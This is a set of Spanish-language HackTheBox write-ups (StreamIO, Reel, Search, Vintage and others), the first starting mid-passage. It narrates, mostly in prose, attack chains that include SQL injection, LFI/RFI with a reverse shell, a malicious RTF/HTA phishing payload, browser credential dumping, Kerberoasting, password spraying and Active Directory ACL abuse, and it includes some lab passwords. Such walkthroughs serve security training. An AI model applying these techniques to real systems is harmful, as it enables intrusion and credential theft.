para enumerar las bases de datos y obtener más credenciales utilizadas en el movimiento lateral. Como usuario secundario, usamos WinPEAS
para enumerar el sistema y encontrar bases de datos guardadas del navegador, que se decodifican para exponer nuevas credenciales. Usando las nuevas credenciales dentro de BloodHound, descubrimos que el usuario tiene la capacidad de agregarse a un grupo específico en el que puede leer secretos LDAP. Sin acceso directo a la cuenta, usamos PowerShell para abusar de esta función y agregarnos al grupo Core Staff
, luego accedemos a LDAP para revelar la contraseña LAPS del administrador.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina StreamIO.
Lanzaremos una serie de scripts básicos para intentar buscar vulnerabilidades en los puertos que hemos encotrado expuestos.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Comprobaremos a qué tipo de máquina nos enfrentamos a través de netexec.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Enumerando los puertos expuestos de los sitios webs, nos encontramos con que el puerto 80 corresponde a un IIS de Windows Server, sin contenido ninguno.
Con la herramienta de wfuzz procederemos a listar posibles páginas PHP que disponga elo sitio web, encontramos las siguientes páginas.
Enumerando posibles directorios encontramos uno que nos llama la atención, "Admin". Pero aparece que la respuesta es un 403 Forbidden, por lo cual podemos pensar que es un directorio que se encuentra pero necesitas un acceso previo, login, etc.
Probararemos de enumerar a posibles usuarios del dominio a través de Kerbrute y un diccionario especializado en nombres, sin exito.
También probamos con el listado de los nombres que aparecían en el sitio web, sin exito tampoco.
En el sitio web aparentemente no vemos ningún tipo de directorio ni contenido, enumerando nuevamente con wfuzz, pudimos enumerar las siguientes paginas PHP.
Probamos de buscar por "test" y nos aparecía un resultdo que contenía dicho contenido de la palabra, lo que nos hizo pensar que por detrás en la BBDD se aplicaba la siguiente QUERY: SELECT movie FROM movies WHERE movie_name LIKE "%test%"
Probamos de realizar inyecciones SQL para intentar con ORDER BY o NULL listar el total de columnas que disponía la BBD, pero aparecía un mensaje de un supuesto WAF bloqueando la sesión debido que había detectado actividad maliciosa por la QUERY lanzada.
Debido que con ORDER BY no podíamos saber el total de columnas, probamos con UNION SELECT. En este caso si obtuvimos el resultado del total de columnas que eran 6.
Versión de MSSQL.
Enumerar la BBDD que se está utilizando actualmente.
Listar todas las BBDDs que dispone.
Intentando listar las tablas de la BBDD "streamio_backups", sin resultado ninguno, parece que no tenemos acceso.
Revisando las tablas de la BBDD nombrada "STREAMIO". Nos encontramos con una tabla "users".
A través de la siguiente SQLI, obtuvimos el ID de la tabla, ya que lo necesitaremos para seguir dumpeando su información.
Enumerando las columnas de la tabla "users" de la BBDD "STREAMIO".
Extrayendo la información de las columnas "username" y "password" de la tabla "users". Nos encontramos con nombres de usuarios y sus contraseñas hasheadas.
Nos copiaremos los datos de los usuarios y sus hashes. Lo modificaremos para que aparezca el output más limpio
Eliminaremos los espacios que sobren, y guardaremos el contenido en "hashes".
Pasaremos un hash de ellos a la herramienta de hash-identifier para identificar que tipo de hash es.
La herramienta nos ha indicado que el hash es MD5. Por lo tanto, con John procederemos a intentar crackear las contraseñas especificando el formato MD5.
Separaremos en dos archivos diferentes, en uno guardaremos los nombres de usuarios y en el otro las contraseñas crackeadas.
A través de la herramienta de netexec procederemos a probar las credenciales de los usuarios correspondientes, nos damos cuenta que ninguno es válido (al menos a nivel de cuenta de dominio).
Del archivo original "hashes", primero de todo nos quedaremos con los nombres de usuarios totales (crackeados y no crackeados) y a través de awk filtraremos y enviaremos la data al archivo "usernames.txt".
A través de Kerbrute procederemos a enumerar todo el listado de usuarios que disponemos, para saber si alguno es válido a nivel cuenta de usuario del dominio, y encontramos que el usuario "yoshidi" es válido.
Recordando que enumerando páginas PHP del sitio web al principio en la fase de enumeración había una página llamada "login.php" probaremos de intentar realizar un ataque de fuerza bruta con la herramienta de Hydra para probar si algunas credenciales son válidas o no.
Para ello del archivo "hashes" original nos lo guardaremos el contenido en "valid_credentials.txt".
A través de la herramienta de hydra haremos un ataque mediante fuerza bruta contra el panel de inicio de sesión de la página, le indicaremos el archivo donde disponemos el usuario y contraseña, el sitio web y donde se tramitará la data.
Además, deberemos especificar el username, password y el mensaje de error cuando se intenta iniciar sesión un usuario/contraseña incorrectos.
Comprobamos que las credenciales para el usuario "yoshide" son válidas.
Con la herramienta de Cookie-Editor nos copiaremos la cookie de sesión que disponemos para ejecutar la siguiente enumeración.
Debido que en el sitio web que nos encontramos, hay una variable llamada "staff", probaremos de enumerar si existe algúna variable más para ver si podemos acceder a esa página web.
Finalmente con wfuzz nos reporta que hay una variable nombrada "debug" que investigaremos de qué trata.
Debido que nos estamos enfrentando a una máquina Windows, probaremos de ver si somos capaces de listar el contenido de "/etc/hosts" de Windows.
Comprobaremos que hemos sido capaces de realizar el LFI con éxito.
En este punto, lo que realizaremos es una combinación entre LFI y la utilización de wrappers.
Un LFI con wrappers Base64 permite leer archivos en Base64 en lugar de texto plano. Con php://filter/convert.base64-encode/resource=index.php, accedemos a index.php y obtenemos su contenido codificado, evitando su ejecución directa. Esto es útil para leer código sensible, ya que un LFI normal podría no mostrar el contenido del archivo PHP.
En nuestra Kali, procederemos a descodificar el contenido del archivo "index.php" encodeado en base64 para que lo muestre de manera normal.
Revisando el archivo "index.php" nos encontrasmos con un usuario y una contraseña de la BBDD "STREAMIO". Nos guardaremos estas credenciales, por si más adelante las necesitamos.
Probaremos de enumerar páginas PHP dentro del directorio "admin" con wfuzz. Nos encontramos que hay una página llamada "master.php"
Probaremos de obtener el contenido de "master.php" utilizando LFI + Wrapper para que nos lo muestre encodeado en Base64.
Descodificaremos el contenido de "master.php" encodeado en Base64 para que nos lo muestre en texto plano.
Revisando el contenido de "master.php", nos damos cuenta que hay un código PHP.
Este código recibe un archivo por POST. Si el archivo no es index.php, entonces lee su contenido y lo ejecuta. Si intentamos usar index.php, solo muestra un error. Esto permite que, con el archivo adecuado, se pueda ejecutar cualquier código en el servidor, lo cual es peligroso porque permite que cualquiera suba y ejecute código malicioso.
Para comprobar si podemos realizar un RFI (Remote File Inclusion), nos levantaremos un servidor web con python3.
Capturaremos la solicitud que se tramita por POST con BurpSuite y en el "include" que es lo que se espera recibir el código PHP, pondremos nuestro servidor web que estamos alojando.
Volviendo a la consola donde hemos levantado el servidor web, comprobamos que se ha recibido una solicitud, por lo tanto, el servidor parece que es vulnerable al RFI.
Procederemos a realizar un RFI (Remote File Inclusion) combinado con un RCE (Remote Code Execution) para ejecutar código e intentar ganarnos una Reverse Shell.
Para ello lo primero que haremos es crear un archivo llamado "rce.php" que lo que hará es ejecutar a través de la función system el comando ipconfig para ver si en la solicitud vemos si es ejecutado también el RCE y logramos poder ejecutar comandos en el servidor.
Levantaremos de nuevo un servidor web con python.
Des de BurpSuite procederemos a realizar el RFI para que el servidor incluya el contenido de "rce.php", al enviar la solicitud, comprobamos en la respuesta de que se ha ejecutado correctamente el comando "ipconfig".
Por lo tanto, comprobamos que tenemos una vía potencial de realizar un RCE para ejecutar comandos en el servidor.
Confirmada la ejecución de comandos. Procederemos a intentar ver si podemos lograr establecernos una Reverse Shell a nuestra Kali.
Para ello, primero nos copiaremos el binario de "nc.exe" en nuestro directorio actual de trabajo.
Modificaremos el contenido de "rce.php" y estableceremos que a través de la utilidad de certutil.exe nos descargue el archivo "nc.exe" que tendremos nosotros alojados en nuestro servidor web y lo almacene en un directorio que no tengamos problemas de ejecución.
Volveremos a enviar la solicitud para que el RFI actúe y se incluya en el directorio especifiado el binario de nc.exe
A continuación, como ya disponemos de la herramienta de "nc.exe" en la máquina del servidor, lo que realizaremos es modificar el contenido de "rce.php" y indicarle que ejecute una Reverse Shell a nuestra Kali por el puerto 443 que es donde estarmeos escuchando con nc.
Volveremos a tramitar de nuevo otra solicitud con BurpSuite
Comprobaremos que hemos ganado acceso al equipo a través de un RFI + RCE.
Nos encontramos enla máquina de streamio.htb y no disponemos de ningún privilegio especial.
Probaremos a ver si podmeos acceder al servicio de MSSQL a través de consola a través de sqlcmd. Comprobamos que si se encuentra instalado.
Recr
Recordando que disponemos supuestamente la contraseña del usuario "Administrador" para acceder a la MSSQL, esta información la habíamos encontrado en el archivo "index.php".
Probamos de revisar el contenido de la tabla "users" de la BBDD "streamio_backup" que al principio con SQLI no pudimos obtener los datos, y encontrasmos que hay hashes y usuarios, comparamos con la tabla "users" de la BBDD "streamio" y hay un usuario llamado "nikk37" en esta de "streamio_backup" que antes no disponíamos.
Añadiremos este nuevo hash en el archivo "hashes" que disponemos.
Procederemos a intentar crackear el hash con John. Finalmente obtenemos la contraseña correcta para ese hash.
Nos guardaremos estas nuevas credenciales en el archivo "valid_credentials.txt"
Debido que tenemos acceso a la terminal de la máquina de STREAMIO, comprobaremos si este usuario es válido a nivel de dominio y de si forma parte del grupo "Remote Managment Users" para así intentar conectarnos al WinRM a través de evil-winrm
Probaremos de acceder con las nuevas credenciales encontradas, y comprobamos la flag de user.txt
A continuación, explicaremos lo que hemos realizado para escalar privilegios.
Primero de todo, procedimos a importar el binario de winPEAS para realizar una enumeración y ver posibles vectores para realizar un PrivEsc.
Comprobamos que ha encontrado lo ha encontrado posibles contraseñas almacenadas de perfiles de Firefox.
Procederemos a acceder a esa ruta y descargarnos los archivoss "key4.db" y "logins.json" que son necesarios para obtener las contraseñas en texto claro.
A través de la herramienta de firepwd.py dumpearemos las contraseñas de perfiles de usuarios que se han almacenado en Firefox.
Copiaremos el contenido y procederemos afiltrar para que el output sea más limpio. Nos guardaremos a los usuarios en "users.txt" y sus contraseñas en "passwords.txt".
Con netexec procederemos a realizar una comprobación de los usuarios y contraseñas para que se intenten autenticar al SMB y comprobar si alguna credencial es válida o no.
Comprobaremos que hemos añadido las nuevas credenciales obtenidas en "credentials.txt".
Como tenemos acceso al WinRM des de otro usuario, comprobaremos si este usuario forma parte del grupo de "Remote Management Users" para así lograr conectarnos con dicho usario, comprobamos que no es miembro del grupo, por lo tanto no podemos conectarnos con ese usuario al WinRM.
Debido que disponemos de unas credenciales que son válidas a nivel de dominio (nikk37), procederemos a realiar una enumeración con BloodHound para buscar vectores y descubrir como pode escalar nuestros privilegios.
Marcaremosque el usuario JDgodd se encuentra como "Owned" ya que disponemos de sus credenciales y son válidas.
Revisando a este usuario, nos fijamos que el usuario tiene permisos de WriteOwner sobre el grupo "CORE STAFF". Y además que el grupo "CORE STAFF" tiene permisos de "ReadLAPSPassword" sobre el DC.
Esto lo que significa es que el usuario puede añadir miembros, cambiar el propietario del grupo mencionado, por lo cual si añadimos al usuario a ese grupo tendremos permisos de getLAPSPassword sobre el DC y obtener su contraseña.
BloodHound nos da una serie de pautas de como agregarnos al grupo, cambiar propietario, etc.
Para poder realiar la explotación, será necesario hacer uso de PoweView.ps1 debido que sino, no podremos ejecutar los comandos que necesitamos.
Procederemos a pasarnos el PowerView y a import el módulo.
Este script convierte una contraseña a un formato seguro, crea un objeto de credenciales para el usuario JDgodd, y luego le otorga permisos y lo agrega al grupo "Core Staff" en Active Directory.
Comprobarmeos que se ha añadido correctamente el usuario JDgodd al grupo "CORE STAFF".
Haciendo uso de la herramienta de ldapsearch y con credenciales que tenemos del usuario que tiene permisos de getLAPSPassword, procederemos a mostrar la contraseña del usuario "Administrator".
Comprobaremos a través de netexec de las credenciales para revisar que son válidas, nos conectaremos con evil-winrm y obtendremos la flag de root.txt.
Realizaremos un reconocimiento de los puertos abiertos de la máquina DarkCorp
a través de la herramienta iRecon
. Esta herramienta nos realizará un escaneo de los puertos abiertos, extraerá los puertos TCP abiertos y realizará un escaneo de versiones y scripts de reconocimientos básicos. Finalmente nos generará un reporte HTML de la información recopilada de Nmap
.
If you need a hint or want to discuss anything related to the box, feel free to reach out to me on Discord.
Realizaremos un reconocimiento de los puertos abiertos de la máquina Scepter
a través de la herramienta iRecon
. Esta herramienta nos realizará un escaneo de los puertos abiertos, extraerá los puertos TCP abiertos y realizará un escaneo de versiones y scripts de reconocimientos básicos. Finalmente nos generará un reporte HTML de la información recopilada de Nmap
.
If you need a hint or want to discuss anything related to the box, feel free to reach out to me on Discord.
Reel
es una máquina de dificultad media a alta, que requiere un ataque del lado del cliente para eludir el perímetro y destaca una técnica para obtener privilegios en un entorno de Active Directory.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Reel.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Procederemos a realizar un reconocimiento inicial de la máquina a través de la herramienta de Netexec y verificaremos el nombre del equipo y del dominio.
Procederemos a añadir las entradas en nuestro archivo /etc/hosts.
Procederemos a realizar una enumeración al servicio del FTP, verificamos que podemos acceder con el usuario Anonymous sin proporcionarle credenciales.
Al verificar el contenido del FTP, comprobamos que existen 3 archivos que procederemos a descargar en nuestro equipo local.
Revisando el archivo readme.txt verificamos que indica un comentario informando de enviarle un correo con algún archivo con extensión RTF el cual revisará y convertirá posteriormente.
Esto puede ser una pista para poder avanzar.
Revisando de los metadatos del archivo (Windows Event Forwarding.docx), nos encontramos que el "Creator" del documento es (nico@megabank.com)
Procederemos a revisar el servicio SMTP (puerto 25) a través de realizar un telnet para ver si podemos encontrar información sobre el servidor SMTP.
Probaremos con usuarios aleatorios, verificamos que podemos enumerar usuarios a través del correo ya que nos devuelve un estado 250 OK.
Una vez identificado que el correo (nico@megabank.com) es válido al parecer, procederemos a intentar buscar información sobre archivos RTF maliciosos tal y como nos indicaba el archivo readme.txt que nos encontramos previamente, ya que supuestamente enviándole un correo con un archivo RTF, x usuario lo abriría.
El objetivo será intentar crear un archivo RTF malicioso con un payload para otorgarnos una Reverse Shell y ganar acceso al sistema.
Procederemos a descargarnos el repositorio de GitHub para intentar explotar esta vulnerabilidad, verificaremos que el exploit se ejecuta correctamente.
Creamos un payload de reverse shell con extensión HTA porque este tipo de archivo se ejecuta directamente en Windows usando mshta.exe. Esto nos permite aprovechar la vulnerabilidad del archivo RTF para que cargue y ejecute el HTA malicioso fácilmente. Además, el HTA puede lanzar comandos como PowerShell, que usamos para establecer la conexión de reverse shell.
Procederemos a realizar el archivo RTF malicioso con el exploit del GitHub descargado, procederemos a generar un archivo llamado "pawned.rtf" indicándole que ejecute el archivo HTA que dejaremos disponible a través de un servidor web desde nuestro equipo.
El siguiente paso será levantar un servidor web con Python donde tenemos alojado el archivo HTA, también nos pondremos en escucha por el puerto especificado en el payload HTA de la Reverse Shell, y también enviaremos un correo a (nico@megabank.com) pasándole el archivo RTF malicioso.
Verificamos que finalmente el archivo se ha enviado correctamente, y al parecer el usuario (nico@megabank.com) lo ha abierto y hemos recibido una Reverse Shell.
Verificaremos que encontramos la flag de user.txt.
Revisando el directorio (C:\Users\nico\Desktop), verificamos que nos encontramos con un archivo XML el cual contiene supuestamente las credenciales del usuario (Tom@htb.local).
La contraseña se encuentra en formato SecureString, por lo tanto, deberemos de desencriptarla para visualizarla en texto plano.
Usamos PowerShell para importar credenciales desde un archivo cred.xml
con Import-Clixml
, extraer la contraseña en texto plano usando $cred.GetNetworkCredential().Password
y mostrarla en la consola con Write-Output
.
Verificamos que la contraseña en texto plano es: 1ts-mag1c!!!
Procederemos a acceder a través de SSH con estas nuevas credenciales obtenidas, verificamos que hemos ganado acceso correctamente.
Revisando el directorio del usuario actual, verificamos que nos encontramos con unos directorios al parecer de una auditoría de AD que realizaron a través de BloodHound.
Investigando más sobre los directorios, nos encontramos un archivo (acls.csv) el cual parece ser un reporte de la auditoría realizada con BloodHound.
Para transferirnos este archivo a nuestro equipo local, procederemos a crear un servidor SMB y a compartir el archivo.
Revisaremos que disponemos del archivo en nuestro equipo local, procederemos a abrirlo para visualizar su contenido.
Revisando el archivo CSV, vemos que se trata de un reporte de BloodHound. Encontramos que el usuario que disponemos actualmente (tom@htb.local) dispone de permisos de WriteOwner sobre el usuario (claire@htb.local).
Este permiso nos otorga la capacidad de cambiar la contraseña del usuario.
Volveremos al equipo con el usuario (tom@htb.local) y verificamos que en uno de los directorios nos encontramos con el PowerView.ps1, necesario para realizar la explotación del privilegio.
Procederemos a importar el PS1 en el equipo.
Procederemos a convertirnos en propietarios del usuario (claire@htb.local), nos asignaremos permisos de "ResetPassword" y procederemos a modificar la contraseña del usuario.
Accederemos a través del SSH con el usuario (claire@htb.local).
Volviendo al archivo CSV, verificamos que el usuario que disponemos actualmente (claire@htb.local) dispone de permisos de WriteDacl sobre el grupo "Backup_Admins".
Este permiso nos permite añadirnos al grupo mencionado.
Procederemos a añadirnos como miembros del grupo "Backup_Admins", verificaremos que formamos parte del grupo.
Volveremos a iniciar sesión con estas credenciales en el SSH, para que los cambios se hayan asignado correctamente.
Revisamos que formando parte de este grupo, podemos listar el contenido del directorio (C:\Users\Administrator\Desktop). No podemos visualizar la flag de root.txt, pero nos encontramos con un directorio el cual contiene una copia de seguridad de Scripts.
Revisando el contenido de losscripts, verificamos que nos aparece una contraseña en texto plano supuestamente del Administrador.
Procederemos a acceder mediante el SSH con estas credenciales del usuario Administrator, verificamos el acceso correctamente y de la flag de root.txt
Search
es una máquina Windows de dificultad alta que se centra en las técnicas de enumeración y explotación de Active Directory. Se obtiene un punto de apoyo al encontrar credenciales expuestas en una página web, enumerar usuarios de AD, ejecutar un ataque Kerberoast
para obtener un hash descifrable para una cuenta de servicio y rociar la contraseña contra un subconjunto de las cuentas descubiertas, obteniendo acceso a un recurso compartido SMB
donde se encuentra un archivo XLSX protegido que contiene datos de usuario. Desproteger el archivo conduce a un segundo conjunto de credenciales, que da acceso a otro recurso compartido donde se pueden descargar certificados PKCS#12
.
Después de importar los certificados a un navegador web, se puede utilizar Windows PowerShell Web Access
para obtener un shell interactivo en el sistema. Debido a las ACL
mal configuradas, el usuario puede recuperar la contraseña de una cuenta de servicio administrada por un grupo que puede cambiar la contraseña de un usuario administrativo, lo que resulta en un acceso con privilegios elevados al sistema a través de wmiexec
o psexec
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Search.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
A través de la herramienta de whatweb verificaremos las tecnologías y frameworks que se utilizan en la página web. Comprobamos que se trata de un IIS.
Entre las imágenes que aparecen en los sliders, comprobamos una imagen algo inusualnla cual al parecer contiene una contraseña de un usuario nombrado como "Hope Sharp".
Al parecer aparece una contraseña mencionada como: IsolationIsKey?
Guardaremos en un archivo "users.txt" el nombre encontrado Hope Sharp y a través de la herramienta username-anarchy crearemos posibles nombres de usuarios y los guardaremos en el archivo "generated-unames.txt".
Procederemos a validar a través de netexec si alguno de estos usuarios generados la contraseña encontrada es válida. Verificamos que efectivamente, para el usuario "hope.sharp" su contraseña es la encontrada en la imagen de la página web.
Comprobamos que hemos podido enumerar toda la lista de usuarios del dominio, nos guardaremos los usuarios en un archivo "users.txt".
Verificaremos que disponemos de un total de 105 usuarios del dominio, debido que disponemos de una lista potencial de usuarios del dominio nos plantareamos en realizar un AS-REP Roast Attack para intentar obtener un TGT (Ticket Granting Ticket) para obtener el hash de un usuario que disponga del (DONT_REQ_PREAUTH) de Kerberos y posteriormente crackear su hash de manera offline.
Verificamos que no encontramos ningún usuario con esa condición.
Con ldapdomaindump dumpearemos toda la información del LDAP a través del usuario y contraseña que disponemos. Nos generará los resultados en distintos formatos.
Revisando el archivo "domains_groups.html" verificamos que los miembros del grupo "ITSec" forman parte del grupo "Remote Management Users".
El grupo de "ITSec" dispone de varios grupos al parecer dividido por ciudades.
Revisando los miembros de los subgrupos del grupo "ITSec" verificamos usuarios que como son miembros del grupo principal, disponen de permisos de "Remote Management Users".
También verificamos que existen dos usuarios Administradores del dominio, pero el único activo es el de "Tristan.Davies".
Realizaremos una enumeración con BloodHound a través de bloodhound-python.
A medida de que vayamos encontrando usuarios que disponamos de sus credenciales, iremos marcándolos como "Owned" para posteriormente intentar buscar posibles vectores para escalar nuestros privilegios.
Dado que tenemos credenciales de un usuario válido del dominio, procederemos a realizar un Kerberoasting Attack para intentar obtener un TGS (Ticket Granting Service) para posteriormente crackear de manera offline el hash obtenido.
Verificamos que obtenemos un TGS del usuario "web_svc".
Procederemos a crackear el hash del TGS obtenido. Verificamos que hemos logrado crackear el hash y obtener la contraseña en texto plano.
Verificaremos que las credenciales son válidas para el usuario web_svc a través de netexec.
Procederemos a realizar un Password Spray Attack con la contraseña validada anteriormente sobre la lista de usuarios del dominio que disponemos para verificar si la contraseña es reutilizada en algún otro usuario.
Verificamos que efectivamente el usuario (edgar.jacobs) dispone de la misma contraseña.
Nos guardaremos en el archivo "credentials.txt" todas las credenciales de los usuarios válidos que disponemos.
A través de la herramienta de netexec y el módulo de (spider_plus), nos crearemos un esquema en formato JSON de la estructura del SMB para verificar archivos interesantes, directorios, etc.
Verificando el archivo JSON generado con netexec, comprobamos que hay un Excel interesante nombrado "Phishing_Attempt.xlsx" en el escritorio del usuario "edgar.jacobs" el cual disponemos sus credenciales de acceso.
A través de la herramienta de smbmap procederemos a descargarnos el archivo mencionado.
Abriendo el archivo (.xlsx) encontrado en el SMB, verificamos que se trata de un archivo donde se disponen de nombres de usuarios que al parecer han sufrido un ataque de phishing.
También comprobamos que la columna "C" aparece protegida, no la podemos visualizar.
Debido que esto a final de cuentas este archivo es un comprimido, procederemos a descromprimirlo para revisar la estructura de este mismo.
Revisando el archivo "sheet2.xml" verificamos que es el que contiene el campo protegido, ya que contiene un apartado mencionado como "sheetProtection". Procederemos a editar el archivo en cuestión.
Procederemos a eliminar el contenido a partir de la etiqueta "<sheetProtecion>" hasta su cierre de la etiqueta. Guardaremos nuevamente el archivo.
Volveremos al directorio principal donde están todos los archivos, procederemos a volver a comprimir todos los archivos a uno nuevo llamado "Document.xlsx".
Abriremos este nuevo comprimido (Document.xlsx) y verificaremos que hemos podido quitar la protección del Excel y podemos visualizar el contenido, el cual se trata de contraseñas.
Guardaremos estas contraseñas en un archivo llamado "passwords.txt" y los nombres de los usuarios en "phishing_users.txt".
Procederemos a realizar un Password Spray Attack para validar si de la lista de usuarios y contraseñas son válidas o no. En este caso, no realizaremos fuerza bruta, por lo que irá probando de manera paralela el usuario y contraseña.
Verificamos que encontramos unas nuevas credenciales del usuario "Sierra.Frye".
Procederemos a realizar una enumeración a través de SMB sobre la carpeta del usuario, y verificamos que hemos encontrado la flag user.txt.
Revisando los recursos copartidos del nuevo usuario "Sierra.Frye" revisamos que en la carpeta de "Downloads" hay una carpeta llamado Backups" que dispone de 2 archivos PFX que se tratan de certificados de navegador.
Procederemos a descargar estos dos archivos a través de smbmap y a renombrarlos.
Si probamos de importar estos certificados a nuestro navegador, nos pide credenciales.
Debido que estos archivos disponen de credenciales que no disponemos, procederemos a través de pfx2john de guardarnos el hash de las contraseñas de estos archivos.
Procederemos a crackear estos hashes y verificamos que hemos podido lograr crackear el hash y obtener las contraseñas en texto plano.
Importaremos estos certificados en nuestro navegador.
Enumerando nuevamente la página web en busca de directorios, nos encontramos que hay un directorio llamado "staff" que nos devuelve un código 403 Forbidden.
Verificamos que se nos carga la siguiente página en la cual parece una página de acceso que otorga un entorno web de PowerShell sobre un equipo.
Probaremos de conectarnos a través de estas credenciales del usuario "Sierra.Frye" que anteriormente habíamos comprobado que formaba parte del grupo "ITSec" y los miembros de dicho grupo forman parte del grupo "Remote Management Users".
Accederemos al DC que tiene de nombre "RESEARCH" tal y como comprobamos en la enumeración inicial.
Verificamos que ganamos acceso a una PowerShell Web sobre el DC con el usuario "Sierra.Frye".
Revisando maneras de escalar nuestros privilegios, tal y como hemos ido seleccionando a los usuarios que disponíamos de sus credenciales como "Owned" en BloodHound, ingresando a "Shortest Path Domain Admins from Owned Principals" encontramos una vía potencial para convertirnos en Domain Admins.
El usuario que disponemos (sierra.frye@search.htb) forma parte del grupo "birmingham-itsec@search.htb" , los miembros de dicho grupo a la vez forman parte del grupo "itsec@search.htb" que tienen privilegios de ReadGMSAPassword sobre "bir-adfs-gmsa$@search.htb".
Los privilegios de ReadGMSAPassword permiten a usuarios o grupos recuperar la contraseña de una Group Managed Service Account (gMSA) en un entorno de Active Directory. Estos privilegios se asignan para que ciertos servicios, servidores o aplicaciones puedan autenticarse automáticamente utilizando la cuenta sin necesidad de gestión manual de contraseñas. Sin embargo, si son otorgados a usuarios no autorizados, podrían permitir el acceso a servicios críticos o realizar ataques de escalación de privilegios.
Procederemos a recuperar la contraseña del gMSA a través de la herramienta gMSADumper.py con las credenciales del usuario "Sierra.Frye".
Una vez obtengamos el hash NTLM del gMSA, validaremos con netexec de que es válido.
Revisando nuevamente en BloodHound, verificamos que a través del gMSA que disponemos su hash NTLM (BIR-ADFS-GMSA$@search.htb) dispone de privilegios de GenericAll sobre el usuario (tristan.davies@search.htb) que si bien recordamos es un usuario Administrador del dominio.
A través de estos privilegios (GenericAll) podemos forzar a realizar el cambio de contraseña del usuario (tristan.davies@search.htb).
En este caso, utilizaremos la herramienta de pth-net para realizar un PassTheHash con el hash NTLM obtenido del ataque anterior.
Realizaremos el cambio de la contraseña haciendo PassTheHash a través de pth-net y validaremos que se ha modificado correctamente las credenciales del Domain Admin, también verificamos que nos aparece como Pwn3d.
Accederemos a través de wmiexec.py al Domain controller con las credenciales del Domain Admin y comprobaremos la flag de root.txt.
Vintage
es una máquina Windows con grandes dificultades diseñada en torno a un supuesto escenario de violación, en el que al atacante se le proporcionan credenciales de usuario con pocos privilegios. La máquina cuenta con un entorno Active Directory sin ADCS instalado, y la autenticación NTLM está deshabilitada. Hay una "Pre2k Computer created," lo que significa que la contraseña es la misma que el sAMAccountName de la cuenta de la máquina. La "Domain Computer" unidad organizativa (OU) tiene una configuración que permite a los atacantes leer la contraseña de la cuenta de servicio, que tiene gMSA configurado. Tras obtener la contraseña, la cuenta de servicio puede añadirse a un grupo privilegiado. El grupo tiene control total sobre un usuario deshabilitado. El atacante debe restaurar el usuario deshabilitado y configurar un Service Principal Name (SPN) para realizar Kerberoasting. Después de recuperar la contraseña, la cuenta de usuario ha reutilizado la misma contraseña. El nuevo usuario comprometido tiene una contraseña almacenada en el Gestor de Credenciales. El usuario puede agregarse a otro grupo privilegiado configurado para la Delegación Restringida Basada en Recursos (RBCD) en el Controlador de Dominio, lo que permite al atacante comprometerlo.
Detección de puertos TCP abiertos (-p- --open
).
Escaneo de versiones (-sV
).
Ejecución de scripts NSE típicos para enumeración adicional (-sC
).
Exportación del resultado en XML y conversión a HTML para facilitar su lectura.
Para empezar, exportaremos en una variable de entorno llamada IP
la dirección IP de la máquina objetivo, lanzaremos la herramienta de iRecon
proporcionándole la variable de entorno.
Resumen de Puertos Abiertos
En la enumeración de puertos encontramos importantes como los siguientes:
88
Kerberos
445
SMB
389
LDAP
636
LDAPS
5985
WinRM
Por los puertos encontrados, parece que nos estamos enfrentando a un Domain Controller (DC) de Windows.
A través de la herramienta de netexec
y ldapsearch
enumeraremos el equipo para localizar más información. Entre la información obtenida, verificamos el hostname
, versión del SO y el nombre del dominio.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
En nuestro archivo /etc/hosts
añadiremos las siguientes entradas correspondientes para que a la hora de hacer referencia al dominio, hostname o FQDN (nombre de dominio completo que identifica de forma única una máquina o servidor en una red).
Al intentar validar las credenciales que se nos proporcionan por parte de HTB, observamos el mensaje de STATUS_NOT_SUPPORTED
. Esto parece indicar que la autenticación por NTLM, es decir usuario y contraseña, está protegida o deshabilitada.
En nuestro segundo intento de autenticarnos mediante Kerberos con el parámetro (-k) nos aparecía el siguiente mensaje de error: KRB_AP_ERR_SKEW
.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Para solucionar el problema sincronizaremos la hora a través de ntpdate
. Una vez sincronizada nuestra hora con el KDC, al volver a intentar autenticarnos mediante Kerberos (-k), verificamos que nos valida correctamente la autenticación.
En este momento, sacamos en conclusión los siguientes puntos importantes de cara a la continuación de la máquina:
Parece que la autenticación NTLM está protegida/deshabilitada. Quizás solamente algún usuario se encuentre en algún grupo como Protected Users
o directamente tengamos que autenticarnos siempre por Kerberos y no por NTLM.
Para autenticarnos mediante Kerberos, deberemos de solicitar un TGT (Ticket Granting Ticket) de la cuenta que obtengamos.
Configurar correctamente nuestra máquina atacante para trabajar correctamente con Kerberos y no tener los típicos problemas de que no encuentra el server, errores como hemos visto de la hora, etc.
Seguramente tengamos que sincronizar nuestra hora con el KDC mediante ntpdate
.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Tendremos que configurar nuestro archivo /etc/krb5.conf
con el siguiente contenido, para que así a la hora de autenticarnos mediante Kerberos, pueda encontrar el KDC (Key Distribution Center), que normalmente es el Domain Controller.
A través de la herramienta de impacket-getTGT
solicitaremos un TGT (Ticket Granting Ticket) del usuario P.Rosa@vintage.htb
. Este comando nos generará un ticket en format .ccache
el cual deberemos de exportar en la variable KRB5CCNAME
para poder hacer uso del TGT correctamente.
A través de la utilidad de klist
verificaremos que nuestro TGT es válido y se encuentra funcionando correctamente.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Crearemos una variable de entorno llamada FQDN
en la cual su valor sea el FQDN del Domain Controller de la máquina objetivo, que en este caso, es dc01.vintage.htb
.
Para utilizar el Ticket Granting Ticket (TGT) que hemos solicitado en el punto anterior y almacenado en KRB5CCNAME, en NetExec
tenemos el parámetro (--use-kcache
) para utilizar nuestro TGT (.ccache
).
